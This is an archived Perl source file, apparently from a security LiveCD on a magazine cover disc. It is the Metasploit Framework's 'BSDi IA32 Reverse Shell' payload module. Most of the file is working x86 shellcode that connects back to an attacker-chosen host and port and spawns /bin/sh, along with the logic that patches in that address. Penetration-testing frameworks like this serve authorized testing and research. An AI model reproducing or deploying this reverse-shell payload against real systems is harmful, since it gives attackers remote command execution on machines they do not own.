home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / bsdi_ia32_reverse.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.9 KB  |  81 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::bsdi_ia32_reverse;
  11.  
  12. use strict;
  13. use base 'Msf::PayloadComponent::ReverseConnection';
  14.  
  15. my $info =
  16. {
  17.     'Name'         => 'BSDi IA32 Reverse Shell',
  18.     'Version'      => '$Revision: 1.2 $',
  19.     'Description'  => 'Connect back to attacker and spawn a shell',
  20.     'Authors'      => [ 'skape <mmiller [at] hick.org>', 
  21.                         'optyx <optyx [at] uberhax0r.net>' ],
  22.     'Arch'         => [ 'x86' ],
  23.     'Priv'         => 0,
  24.     'OS'           => [ 'bsdi' ],
  25.     'Size'         => '',
  26. };
  27.  
  28. sub new 
  29. {
  30.     my $class = shift;
  31.     my $hash = @_ ? shift : { };
  32.  
  33.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  34.  
  35.     my $self = $class->SUPER::new($hash, @_);
  36.     
  37.     $self->_Info->{'Size'} = $self->_GenSize;
  38.  
  39.     return $self;
  40. }
  41.  
  42. sub Build 
  43. {
  44.     my $self = shift;
  45.  
  46.     return $self->Generate($self->GetVar('LHOST'), 
  47.                            $self->GetVar('LPORT'));
  48. }
  49.  
  50. sub Generate 
  51. {
  52.     my $self = shift;
  53.     my $host = shift;
  54.     my $port = shift;
  55.     my $host_bin = gethostbyname($host);
  56.     my $port_bin = pack('n', $port);
  57.     my $off_host = 0x1c;
  58.     my $off_port = 0x23;
  59.   
  60.     my $shellcode =
  61.         "\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" .
  62.         "\x52\x42\x52\x42\x52\x6a\x61\x58\xff\xd6\x97\x68\x7f\x00\x00\x01" .
  63.         "\x68\x10\x02\xbf\xbf\x89\xe3\x6a\x10\x53\x57\x6a\x62\x58\xff\xd6" .
  64.         "\xb0\x5a\x52\x57\xff\xd6\x4a\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" .
  65.         "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6";
  66.  
  67.     substr($shellcode, $off_host, 4, $host_bin);
  68.     substr($shellcode, $off_port, 2, $port_bin);
  69.   
  70.     return $shellcode;
  71. }
  72.  
  73. sub _GenSize 
  74. {
  75.     my $self = shift;
  76.     
  77.     return length($self->Generate('127.0.0.1', 4444));
  78. }
  79.  
  80. 1;
  81.